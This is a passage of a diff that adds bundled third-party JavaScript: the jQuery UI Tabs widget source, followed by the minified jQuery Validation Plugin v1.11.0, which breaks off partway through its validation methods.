this.panels.attr( "role", "tabpanel" ); + this._addClass( this.panels, "ui-tabs-panel", "ui-widget-content" ); + + // Avoid memory leaks (#10056) + if ( prevTabs ) { + this._off( prevTabs.not( this.tabs ) ); + this._off( prevAnchors.not( this.anchors ) ); + this._off( prevPanels.not( this.panels ) ); + } + }, + + // Allow overriding how to find the list for rare usage scenarios (#7715) + _getList: function() { + return this.tablist || this.element.find( "ol, ul" ).eq( 0 ); + }, + + _createPanel: function( id ) { + return $( "<div>" ) + .attr( "id", id ) + .data( "ui-tabs-destroy", true ); + }, + + _setOptionDisabled: function( disabled ) { + var currentItem, li, i; + + if ( $.isArray( disabled ) ) { + if ( !disabled.length ) { + disabled = false; + } else if ( disabled.length === this.anchors.length ) { + disabled = true; + } + } + + // Disable tabs + for ( i = 0; ( li = this.tabs[ i ] ); i++ ) { + currentItem = $( li ); + if ( disabled === true || $.inArray( i, disabled ) !== -1 ) { + currentItem.attr( "aria-disabled", "true" ); + this._addClass( currentItem, null, "ui-state-disabled" ); + } else { + currentItem.removeAttr( "aria-disabled" ); + this._removeClass( currentItem, null, "ui-state-disabled" ); + } + } + + this.options.disabled = disabled; + + this._toggleClass( this.widget(), this.widgetFullName + "-disabled", null, + disabled === true ); + }, + + _setupEvents: function( event ) { + var events = {}; + if ( event ) { + $.each( event.split( " " ), function( index, eventName ) { + events[ eventName ] = "_eventHandler"; + } ); + } + + this._off( this.anchors.add( this.tabs ).add( this.panels ) ); + + // Always prevent the default action, even when disabled + this._on( true, this.anchors, { + click: function( event ) { + event.preventDefault(); + } + } ); + this._on( this.anchors, events ); + this._on( this.tabs, { keydown: "_tabKeydown" } ); + this._on( this.panels, { keydown: "_panelKeydown" } ); + + this._focusable( this.tabs ); + this._hoverable( this.tabs ); + }, + + _setupHeightStyle: function( heightStyle ) { + var maxHeight, + parent = this.element.parent(); + + if ( heightStyle === "fill" ) { + maxHeight = parent.height(); + maxHeight -= this.element.outerHeight() - this.element.height(); + + this.element.siblings( ":visible" ).each( function() { + var elem = $( this ), + position = elem.css( "position" ); + + if ( position === "absolute" || position === "fixed" ) { + return; + } + maxHeight -= elem.outerHeight( true ); + } ); + + this.element.children().not( this.panels ).each( function() { + maxHeight -= $( this ).outerHeight( true ); + } ); + + this.panels.each( function() { + $( this ).height( Math.max( 0, maxHeight - + $( this ).innerHeight() + $( this ).height() ) ); + } ) + .css( "overflow", "auto" ); + } else if ( heightStyle === "auto" ) { + maxHeight = 0; + this.panels.each( function() { + maxHeight = Math.max( maxHeight, $( this ).height( "" ).height() ); + } ).height( maxHeight ); + } + }, + + _eventHandler: function( event ) { + var options = this.options, + active = this.active, + anchor = $( event.currentTarget ), + tab = anchor.closest( "li" ), + clickedIsActive = tab[ 0 ] === active[ 0 ], + collapsing = clickedIsActive && options.collapsible, + toShow = collapsing ? $() : this._getPanelForTab( tab ), + toHide = !active.length ? $() : this._getPanelForTab( active ), + eventData = { + oldTab: active, + oldPanel: toHide, + newTab: collapsing ? $() : tab, + newPanel: toShow + }; + + event.preventDefault(); + + if ( tab.hasClass( "ui-state-disabled" ) || + + // tab is already loading + tab.hasClass( "ui-tabs-loading" ) || + + // can't switch durning an animation + this.running || + + // click on active header, but not collapsible + ( clickedIsActive && !options.collapsible ) || + + // allow canceling activation + ( this._trigger( "beforeActivate", event, eventData ) === false ) ) { + return; + } + + options.active = collapsing ? false : this.tabs.index( tab ); + + this.active = clickedIsActive ? $() : tab; + if ( this.xhr ) { + this.xhr.abort(); + } + + if ( !toHide.length && !toShow.length ) { + $.error( "jQuery UI Tabs: Mismatching fragment identifier." ); + } + + if ( toShow.length ) { + this.load( this.tabs.index( tab ), event ); + } + this._toggle( event, eventData ); + }, + + // Handles show/hide for selecting tabs + _toggle: function( event, eventData ) { + var that = this, + toShow = eventData.newPanel, + toHide = eventData.oldPanel; + + this.running = true; + + function complete() { + that.running = false; + that._trigger( "activate", event, eventData ); + } + + function show() { + that._addClass( eventData.newTab.closest( "li" ), "ui-tabs-active", "ui-state-active" ); + + if ( toShow.length && that.options.show ) { + that._show( toShow, that.options.show, complete ); + } else { + toShow.show(); + complete(); + } + } + + // Start out by hiding, then showing, then completing + if ( toHide.length && this.options.hide ) { + this._hide( toHide, this.options.hide, function() { + that._removeClass( eventData.oldTab.closest( "li" ), + "ui-tabs-active", "ui-state-active" ); + show(); + } ); + } else { + this._removeClass( eventData.oldTab.closest( "li" ), + "ui-tabs-active", "ui-state-active" ); + toHide.hide(); + show(); + } + + toHide.attr( "aria-hidden", "true" ); + eventData.oldTab.attr( { + "aria-selected": "false", + "aria-expanded": "false" + } ); + + // If we're switching tabs, remove the old tab from the tab order. + // If we're opening from collapsed state, remove the previous tab from the tab order. + // If we're collapsing, then keep the collapsing tab in the tab order. + if ( toShow.length && toHide.length ) { + eventData.oldTab.attr( "tabIndex", -1 ); + } else if ( toShow.length ) { + this.tabs.filter( function() { + return $( this ).attr( "tabIndex" ) === 0; + } ) + .attr( "tabIndex", -1 ); + } + + toShow.attr( "aria-hidden", "false" ); + eventData.newTab.attr( { + "aria-selected": "true", + "aria-expanded": "true", + tabIndex: 0 + } ); + }, + + _activate: function( index ) { + var anchor, + active = this._findActive( index ); + + // Trying to activate the already active panel + if ( active[ 0 ] === this.active[ 0 ] ) { + return; + } + + // Trying to collapse, simulate a click on the current active header + if ( !active.length ) { + active = this.active; + } + + anchor = active.find( ".ui-tabs-anchor" )[ 0 ]; + this._eventHandler( { + target: anchor, + currentTarget: anchor, + preventDefault: $.noop + } ); + }, + + _findActive: function( index ) { + return index === false ? $() : this.tabs.eq( index ); + }, + + _getIndex: function( index ) { + + // meta-function to give users option to provide a href string instead of a numerical index. + if ( typeof index === "string" ) { + index = this.anchors.index( this.anchors.filter( "[href$='" + + $.ui.escapeSelector( index ) + "']" ) ); + } + + return index; + }, + + _destroy: function() { + if ( this.xhr ) { + this.xhr.abort(); + } + + this.tablist + .removeAttr( "role" ) + .off( this.eventNamespace ); + + this.anchors + .removeAttr( "role tabIndex" ) + .removeUniqueId(); + + this.tabs.add( this.panels ).each( function() { + if ( $.data( this, "ui-tabs-destroy" ) ) { + $( this ).remove(); + } else { + $( this ).removeAttr( "role tabIndex " + + "aria-live aria-busy aria-selected aria-labelledby aria-hidden aria-expanded" ); + } + } ); + + this.tabs.each( function() { + var li = $( this ), + prev = li.data( "ui-tabs-aria-controls" ); + if ( prev ) { + li + .attr( "aria-controls", prev ) + .removeData( "ui-tabs-aria-controls" ); + } else { + li.removeAttr( "aria-controls" ); + } + } ); + + this.panels.show(); + + if ( this.options.heightStyle !== "content" ) { + this.panels.css( "height", "" ); + } + }, + + enable: function( index ) { + var disabled = this.options.disabled; + if ( disabled === false ) { + return; + } + + if ( index === undefined ) { + disabled = false; + } else { + index = this._getIndex( index ); + if ( $.isArray( disabled ) ) { + disabled = $.map( disabled, function( num ) { + return num !== index ? num : null; + } ); + } else { + disabled = $.map( this.tabs, function( li, num ) { + return num !== index ? num : null; + } ); + } + } + this._setOptionDisabled( disabled ); + }, + + disable: function( index ) { + var disabled = this.options.disabled; + if ( disabled === true ) { + return; + } + + if ( index === undefined ) { + disabled = true; + } else { + index = this._getIndex( index ); + if ( $.inArray( index, disabled ) !== -1 ) { + return; + } + if ( $.isArray( disabled ) ) { + disabled = $.merge( [ index ], disabled ).sort(); + } else { + disabled = [ index ]; + } + } + this._setOptionDisabled( disabled ); + }, + + load: function( index, event ) { + index = this._getIndex( index ); + var that = this, + tab = this.tabs.eq( index ), + anchor = tab.find( ".ui-tabs-anchor" ), + panel = this._getPanelForTab( tab ), + eventData = { + tab: tab, + panel: panel + }, + complete = function( jqXHR, status ) { + if ( status === "abort" ) { + that.panels.stop( false, true ); + } + + that._removeClass( tab, "ui-tabs-loading" ); + panel.removeAttr( "aria-busy" ); + + if ( jqXHR === that.xhr ) { + delete that.xhr; + } + }; + + // Not remote + if ( this._isLocal( anchor[ 0 ] ) ) { + return; + } + + this.xhr = $.ajax( this._ajaxSettings( anchor, event, eventData ) ); + + // Support: jQuery <1.8 + // jQuery <1.8 returns false if the request is canceled in beforeSend, + // but as of 1.8, $.ajax() always returns a jqXHR object. + if ( this.xhr && this.xhr.statusText !== "canceled" ) { + this._addClass( tab, "ui-tabs-loading" ); + panel.attr( "aria-busy", "true" ); + + this.xhr + .done( function( response, status, jqXHR ) { + + // support: jQuery <1.8 + // http://bugs.jquery.com/ticket/11778 + setTimeout( function() { + panel.html( response ); + that._trigger( "load", event, eventData ); + + complete( jqXHR, status ); + }, 1 ); + } ) + .fail( function( jqXHR, status ) { + + // support: jQuery <1.8 + // http://bugs.jquery.com/ticket/11778 + setTimeout( function() { + complete( jqXHR, status ); + }, 1 ); + } ); + } + }, + + _ajaxSettings: function( anchor, event, eventData ) { + var that = this; + return { + + // Support: IE <11 only + // Strip any hash that exists to prevent errors with the Ajax request + url: anchor.attr( "href" ).replace( /#.*$/, "" ), + beforeSend: function( jqXHR, settings ) { + return that._trigger( "beforeLoad", event, + $.extend( { jqXHR: jqXHR, ajaxSettings: settings }, eventData ) ); + } + }; + }, + + _getPanelForTab: function( tab ) { + var id = $( tab ).attr( "aria-controls" ); + return this.element.find( this._sanitizeSelector( "#" + id ) ); + } +} ); + +// DEPRECATED +// TODO: Switch return back to widget declaration at top of file when this is removed +if ( $.uiBackCompat !== false ) { + + // Backcompat for ui-tab class (now ui-tabs-tab) + $.widget( "ui.tabs", $.ui.tabs, { + _processTabs: function() { + this._superApply( arguments ); + this._addClass( this.tabs, "ui-tab" ); + } + } ); +} + +var widgetsTabs = $.ui.tabs; + +// DEPRECATED +// TODO: Switch return back to widget declaration at top of file when this is removed + + +})); + + + +/* jQuery Validation Plugin +-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + +/*! jQuery Validation Plugin - v1.11.0 - 2/4/2013 +* https://github.com/jzaefferer/jquery-validation +* Copyright (c) 2013 Jörn Zaefferer; Licensed MIT */ +(function(e){e.extend(e.fn,{validate:function(t){if(!this.length){t&&t.debug&&window.console&&console.warn("Nothing selected, can't validate, returning nothing.");return}var n=e.data(this[0],"validator");return n?n:(this.attr("novalidate","novalidate"),n=new e.validator(t,this[0]),e.data(this[0],"validator",n),n.settings.onsubmit&&(this.validateDelegate(":submit","click",function(t){n.settings.submitHandler&&(n.submitButton=t.target),e(t.target).hasClass("cancel")&&(n.cancelSubmit=!0)}),this.submit(function(t){function r(){var r;return n.settings.submitHandler?(n.submitButton&&(r=e("<input type='hidden'/>").attr("name",n.submitButton.name).val(n.submitButton.value).appendTo(n.currentForm)),n.settings.submitHandler.call(n,n.currentForm,t),n.submitButton&&r.remove(),!1):!0}return n.settings.debug&&t.preventDefault(),n.cancelSubmit?(n.cancelSubmit=!1,r()):n.form()?n.pendingRequest?(n.formSubmitted=!0,!1):r():(n.focusInvalid(),!1)})),n)},valid:function(){if(e(this[0]).is("form"))return this.validate().form();var t=!0,n=e(this[0].form).validate();return this.each(function(){t&=n.element(this)}),t},removeAttrs:function(t){var n={},r=this;return e.each(t.split(/\s/),function(e,t){n[t]=r.attr(t),r.removeAttr(t)}),n},rules:function(t,n){var r=this[0];if(t){var i=e.data(r.form,"validator").settings,s=i.rules,o=e.validator.staticRules(r);switch(t){case"add":e.extend(o,e.validator.normalizeRule(n)),s[r.name]=o,n.messages&&(i.messages[r.name]=e.extend(i.messages[r.name],n.messages));break;case"remove":if(!n)return delete s[r.name],o;var u={};return e.each(n.split(/\s/),function(e,t){u[t]=o[t],delete o[t]}),u}}var a=e.validator.normalizeRules(e.extend({},e.validator.classRules(r),e.validator.attributeRules(r),e.validator.dataRules(r),e.validator.staticRules(r)),r);if(a.required){var f=a.required;delete a.required,a=e.extend({required:f},a)}return a}}),e.extend(e.expr[":"],{blank:function(t){return!e.trim(""+t.value)},filled:function(t){return!!e.trim(""+t.value)},unchecked:function(e){return!e.checked}}),e.validator=function(t,n){this.settings=e.extend(!0,{},e.validator.defaults,t),this.currentForm=n,this.init()},e.validator.format=function(t,n){return arguments.length===1?function(){var n=e.makeArray(arguments);return n.unshift(t),e.validator.format.apply(this,n)}:(arguments.length>2&&n.constructor!==Array&&(n=e.makeArray(arguments).slice(1)),n.constructor!==Array&&(n=[n]),e.each(n,function(e,n){t=t.replace(new RegExp("\\{"+e+"\\}","g"),function(){return n})}),t)},e.extend(e.validator,{defaults:{messages:{},groups:{},rules:{},errorClass:"error",validClass:"valid",errorElement:"label",focusInvalid:!0,errorContainer:e([]),errorLabelContainer:e([]),onsubmit:!0,ignore:":hidden",ignoreTitle:!1,onfocusin:function(e,t){this.lastActive=e,this.settings.focusCleanup&&!this.blockFocusCleanup&&(this.settings.unhighlight&&this.settings.unhighlight.call(this,e,this.settings.errorClass,this.settings.validClass),this.addWrapper(this.errorsFor(e)).hide())},onfocusout:function(e,t){!this.checkable(e)&&(e.name in this.submitted||!this.optional(e))&&this.element(e)},onkeyup:function(e,t){if(t.which===9&&this.elementValue(e)==="")return;(e.name in this.submitted||e===this.lastElement)&&this.element(e)},onclick:function(e,t){e.name in this.submitted?this.element(e):e.parentNode.name in this.submitted&&this.element(e.parentNode)},highlight:function(t,n,r){t.type==="radio"?this.findByName(t.name).addClass(n).removeClass(r):e(t).addClass(n).removeClass(r)},unhighlight:function(t,n,r){t.type==="radio"?this.findByName(t.name).removeClass(n).addClass(r):e(t).removeClass(n).addClass(r)}},setDefaults:function(t){e.extend(e.validator.defaults,t)},messages:{required:"This field is required.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",number:"Please enter a valid number.",digits:"Please enter only digits.",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",maxlength:e.validator.format("Please enter no more than {0} characters."),minlength:e.validator.format("Please enter at least {0} characters."),rangelength:e.validator.format("Please enter a value between {0} and {1} characters long."),range:e.validator.format("Please enter a value between {0} and {1}."),max:e.validator.format("Please enter a value less than or equal to {0}."),min:e.validator.format("Please enter a value greater than or equal to {0}.")},autoCreateRanges:!1,prototype:{init:function(){function r(t){var n=e.data(this[0].form,"validator"),r="on"+t.type.replace(/^validate/,"");n.settings[r]&&n.settings[r].call(n,this[0],t)}this.labelContainer=e(this.settings.errorLabelContainer),this.errorContext=this.labelContainer.length&&this.labelContainer||e(this.currentForm),this.containers=e(this.settings.errorContainer).add(this.settings.errorLabelContainer),this.submitted={},this.valueCache={},this.pendingRequest=0,this.pending={},this.invalid={},this.reset();var t=this.groups={};e.each(this.settings.groups,function(n,r){typeof r=="string"&&(r=r.split(/\s/)),e.each(r,function(e,r){t[r]=n})});var n=this.settings.rules;e.each(n,function(t,r){n[t]=e.validator.normalizeRule(r)}),e(this.currentForm).validateDelegate(":text, [type='password'], [type='file'], select, textarea, [type='number'], [type='search'] ,[type='tel'], [type='url'], [type='email'], [type='datetime'], [type='date'], [type='month'], [type='week'], [type='time'], [type='datetime-local'], [type='range'], [type='color'] ","focusin focusout keyup",r).validateDelegate("[type='radio'], [type='checkbox'], select, option","click",r),this.settings.invalidHandler&&e(this.currentForm).bind("invalid-form.validate",this.settings.invalidHandler)},form:function(){return this.checkForm(),e.extend(this.submitted,this.errorMap),this.invalid=e.extend({},this.errorMap),this.valid()||e(this.currentForm).triggerHandler("invalid-form",[this]),this.showErrors(),this.valid()},checkForm:function(){this.prepareForm();for(var e=0,t=this.currentElements=this.elements();t[e];e++)this.check(t[e]);return this.valid()},element:function(t){t=this.validationTargetFor(this.clean(t)),this.lastElement=t,this.prepareElement(t),this.currentElements=e(t);var n=this.check(t)!==!1;return n?delete this.invalid[t.name]:this.invalid[t.name]=!0,this.numberOfInvalids()||(this.toHide=this.toHide.add(this.containers)),this.showErrors(),n},showErrors:function(t){if(t){e.extend(this.errorMap,t),this.errorList=[];for(var n in t)this.errorList.push({message:t[n],element:this.findByName(n)[0]});this.successList=e.grep(this.successList,function(e){return!(e.name in t)})}this.settings.showErrors?this.settings.showErrors.call(this,this.errorMap,this.errorList):this.defaultShowErrors()},resetForm:function(){e.fn.resetForm&&e(this.currentForm).resetForm(),this.submitted={},this.lastElement=null,this.prepareForm(),this.hideErrors(),this.elements().removeClass(this.settings.errorClass).removeData("previousValue")},numberOfInvalids:function(){return this.objectLength(this.invalid)},objectLength:function(e){var t=0;for(var n in e)t++;return t},hideErrors:function(){this.addWrapper(this.toHide).hide()},valid:function(){return this.size()===0},size:function(){return this.errorList.length},focusInvalid:function(){if(this.settings.focusInvalid)try{e(this.findLastActive()||this.errorList.length&&this.errorList[0].element||[]).filter(":visible").focus().trigger("focusin")}catch(t){}},findLastActive:function(){var t=this.lastActive;return t&&e.grep(this.errorList,function(e){return e.element.name===t.name}).length===1&&t},elements:function(){var t=this,n={};return e(this.currentForm).find("input, select, textarea").not(":submit, :reset, :image, [disabled]").not(this.settings.ignore).filter(function(){return!this.name&&t.settings.debug&&window.console&&console.error("%o has no name assigned",this),this.name in n||!t.objectLength(e(this).rules())?!1:(n[this.name]=!0,!0)})},clean:function(t){return e(t)[0]},errors:function(){var t=this.settings.errorClass.replace(" ",".");return e(this.settings.errorElement+"."+t,this.errorContext)},reset:function(){this.successList=[],this.errorList=[],this.errorMap={},this.toShow=e([]),this.toHide=e([]),this.currentElements=e([])},prepareForm:function(){this.reset(),this.toHide=this.errors().add(this.containers)},prepareElement:function(e){this.reset(),this.toHide=this.errorsFor(e)},elementValue:function(t){var n=e(t).attr("type"),r=e(t).val();return n==="radio"||n==="checkbox"?e("input[name='"+e(t).attr("name")+"']:checked").val():typeof r=="string"?r.replace(/\r/g,""):r},check:function(t){t=this.validationTargetFor(this.clean(t));var n=e(t).rules(),r=!1,i=this.elementValue(t),s;for(var o in n){var u={method:o,parameters:n[o]};try{s=e.validator.methods[o].call(this,i,t,u.parameters);if(s==="dependency-mismatch"){r=!0;continue}r=!1;if(s==="pending"){this.toHide=this.toHide.not(this.errorsFor(t));return}if(!s)return this.formatAndAdd(t,u),!1}catch(a){throw this.settings.debug&&window.console&&console.log("Exception occured when checking element "+t.id+", check the '"+u.method+"' method.",a),a}}if(r)return;return this.objectLength(n)&&this.successList.push(t),!0},customDataMessage:function(t,n){return e(t).data("msg-"+n.toLowerCase())||t.attributes&&e(t).attr("data-msg-"+n.toLowerCase())},customMessage:function(e,t){var n=this.settings.messages[e];return n&&(n.constructor===String?n:n[t])},findDefined:function(){for(var e=0;e<arguments.length;e++)if(arguments[e]!==undefined)return arguments[e];return undefined},defaultMessage:function(t,n){return this.findDefined(this.customMessage(t.name,n),this.customDataMessage(t,n),!this.settings.ignoreTitle&&t.title||undefined,e.validator.messages[n],"<strong>Warning: No message defined for "+t.name+"</strong>")},formatAndAdd:function(t,n){var r=this.defaultMessage(t,n.method),i=/\$?\{(\d+)\}/g;typeof r=="function"?r=r.call(this,n.parameters,t):i.test(r)&&(r=e.validator.format(r.replace(i,"{$1}"),n.parameters)),this.errorList.push({message:r,element:t}),this.errorMap[t.name]=r,this.submitted[t.name]=r},addWrapper:function(e){return this.settings.wrapper&&(e=e.add(e.parent(this.settings.wrapper))),e},defaultShowErrors:function(){var e,t;for(e=0;this.errorList[e];e++){var n=this.errorList[e];this.settings.highlight&&this.settings.highlight.call(this,n.element,this.settings.errorClass,this.settings.validClass),this.showLabel(n.element,n.message)}this.errorList.length&&(this.toShow=this.toShow.add(this.containers));if(this.settings.success)for(e=0;this.successList[e];e++)this.showLabel(this.successList[e]);if(this.settings.unhighlight)for(e=0,t=this.validElements();t[e];e++)this.settings.unhighlight.call(this,t[e],this.settings.errorClass,this.settings.validClass);this.toHide=this.toHide.not(this.toShow),this.hideErrors(),this.addWrapper(this.toShow).show()},validElements:function(){return this.currentElements.not(this.invalidElements())},invalidElements:function(){return e(this.errorList).map(function(){return this.element})},showLabel:function(t,n){var r=this.errorsFor(t);r.length?(r.removeClass(this.settings.validClass).addClass(this.settings.errorClass),r.html(n)):(r=e("<"+this.settings.errorElement+">").attr("for",this.idOrName(t)).addClass(this.settings.errorClass).html(n||""),this.settings.wrapper&&(r=r.hide().show().wrap("<"+this.settings.wrapper+"/>").parent()),this.labelContainer.append(r).length||(this.settings.errorPlacement?this.settings.errorPlacement(r,e(t)):r.insertAfter(t))),!n&&this.settings.success&&(r.text(""),typeof this.settings.success=="string"?r.addClass(this.settings.success):this.settings.success(r,t)),this.toShow=this.toShow.add(r)},errorsFor:function(t){var n=this.idOrName(t);return this.errors().filter(function(){return e(this).attr("for")===n})},idOrName:function(e){return this.groups[e.name]||(this.checkable(e)?e.name:e.id||e.name)},validationTargetFor:function(e){return this.checkable(e)&&(e=this.findByName(e.name).not(this.settings.ignore)[0]),e},checkable:function(e){return/radio|checkbox/i.test(e.type)},findByName:function(t){return e(this.currentForm).find("[name='"+t+"']")},getLength:function(t,n){switch(n.nodeName.toLowerCase()){case"select":return e("option:selected",n).length;case"input":if(this.checkable(n))return this.findByName(n.name).filter(":checked").length}return t.length},depend:function(e,t){return this.dependTypes[typeof e]?this.dependTypes[typeof e](e,t):!0},dependTypes:{"boolean":function(e,t){return e},string:function(t,n){return!!e(t,n.form).length},"function":function(e,t){return e(t)}},optional:function(t){var n=this.elementValue(t);return!e.validator.methods.required.call(this,n,t)&&"dependency-mismatch"},startRequest:function(e){this.pending[e.name]||(this.pendingRequest++,this.pending[e.name]=!0)},stopRequest:function(t,n){this.pendingRequest--,this.pendingRequest<0&&(this.pendingRequest=0),delete this.pending[t.name],n&&this.pendingRequest===0&&this.formSubmitted&&this.form()?(e(this.currentForm).submit(),this.formSubmitted=!1):!n&&this.pendingRequest===0&&this.formSubmitted&&(e(this.currentForm).triggerHandler("invalid-form",[this]),this.formSubmitted=!1)},previousValue:function(t){return e.data(t,"previousValue")||e.data(t,"previousValue",{old:null,valid:!0,message:this.defaultMessage(t,"remote")})}},classRuleSettings:{required:{required:!0},email:{email:!0},url:{url:!0},date:{date:!0},dateISO:{dateISO:!0},number:{number:!0},digits:{digits:!0},creditcard:{creditcard:!0}},addClassRules:function(t,n){t.constructor===String?this.classRuleSettings[t]=n:e.extend(this.classRuleSettings,t)},classRules:function(t){var n={},r=e(t).attr("class");return r&&e.each(r.split(" "),function(){this in e.validator.classRuleSettings&&e.extend(n,e.validator.classRuleSettings[this])}),n},attributeRules:function(t){var n={},r=e(t);for(var i in e.validator.methods){var s;i==="required"?(s=r.get(0).getAttribute(i),s===""&&(s=!0),s=!!s):s=r.attr(i),s?n[i]=s:r[0].getAttribute("type")===i&&(n[i]=!0)}return n.maxlength&&/-1|2147483647|524288/.test(n.maxlength)&&delete n.maxlength,n},dataRules:function(t){var n,r,i={},s=e(t);for(n in e.validator.methods)r=s.data("rule-"+n.toLowerCase()),r!==undefined&&(i[n]=r);return i},staticRules:function(t){var n={},r=e.data(t.form,"validator");return r.settings.rules&&(n=e.validator.normalizeRule(r.settings.rules[t.name])||{}),n},normalizeRules:function(t,n){return e.each(t,function(r,i){if(i===!1){delete t[r];return}if(i.param||i.depends){var s=!0;switch(typeof i.depends){case"string":s=!!e(i.depends,n.form).length;break;case"function":s=i.depends.call(n,n)}s?t[r]=i.param!==undefined?i.param:!0:delete t[r]}}),e.each(t,function(r,i){t[r]=e.isFunction(i)?i(n):i}),e.each(["minlength","maxlength"],function(){t[this]&&(t[this]=Number(t[this]))}),e.each(["rangelength"],function(){var n;t[this]&&(e.isArray(t[this])?t[this]=[Number(t[this][0]),Number(t[this][1])]:typeof t[this]=="string"&&(n=t[this].split(/[\s,]+/),t[this]=[Number(n[0]),Number(n[1])]))}),e.validator.autoCreateRanges&&(t.min&&t.max&&(t.range=[t.min,t.max],delete t.min,delete t.max),t.minlength&&t.maxlength&&(t.rangelength=[t.minlength,t.maxlength],delete t.minlength,delete t.maxlength)),t},normalizeRule:function(t){if(typeof t=="string"){var n={};e.each(t.split(/\s/),function(){n[this]=!0}),t=n}return t},addMethod:function(t,n,r){e.validator.methods[t]=n,e.validator.messages[t]=r!==undefined?r:e.validator.messages[t],n.length<3&&e.validator.addClassRules(t,e.validator.normalizeRule(t))},methods:{required:function(t,n,r){if(!this.depend(r,n))return"dependency-mismatch";if(n.nodeName.toLowerCase()==="select"){var i=e(n).val();return i&&i.length>0}return this.checkable(n)?this.getLength(t,n)>0:e.trim(t).length>0},remote:function(t,n,r){if(this.optional(n))return"dependency-mismatch";var i=this.previousValue(n);this.settings.messages[n.name]||(this.settings.messages[n.name]={}),i.originalMessage=this.settings.messages[n.name].remote,this.settings.messages[n.name].remote=i.message,r=typeof r=="string"&&{url:r}||r;if(i.old===t)return i.valid;i.old=t;var s=this;this.startRequest(n);var o={};return o[n.name]=t,e.ajax(e.extend(!0,{url:r,mode:"abort",port:"validate"+n.name,dataType:"json",data:o,success:function(r){s.settings.messages[n.name].remote=i.originalMessage;var o=r===!0||r==="true";if(o){var u=s.formSubmitted;s.prepareElement(n),s.formSubmitted=u,s.successList.push(n),delete s.invalid[n.name],s.showErrors()}else{var a={},f=r||s.defaultMessage(n,"remote");a[n.name]=i.message=e.isFunction(f)?f(t):f,s.invalid[n.name]=!0,s.showErrors(a)}i.valid=o,s.stopRequest(n,o)}},r)),"pending"},minlength:function(t,n,r){var i=e.isArray(t)?t.length:this.getLength(e.trim(t),n);return this.optional(n)||i>=r},maxlength:function(t,n,r){var i=e.isArray(t)?t.length:this.getLength(e.trim(t),n);return this.optional(n)||i<=r},rangelength:function(t,n,r){var i=e.isArray(t)?t.length:this.getLength(e.trim(t),n);return this.optional(n)||i>=r[0]&&i<=r[1]},min:function(e,t,n){return this.optional(t)||e>=n},max:function(e,t,n){return this.optional(t)||e<=n},range:function(e,t,n){return this.optional(t)||e>=n[0]&&e<=n[1]},email:function(e,t){return this.optional(t)||/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))$/i.test(e)},url:function(e,t){return this.optional(t)||/^(https?|s?ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i.test(e)},date:function(e,t){return this.optional(t)||!/Invalid|NaN/.test((new Date(e)).toString())},dateISO:function(e,t){return 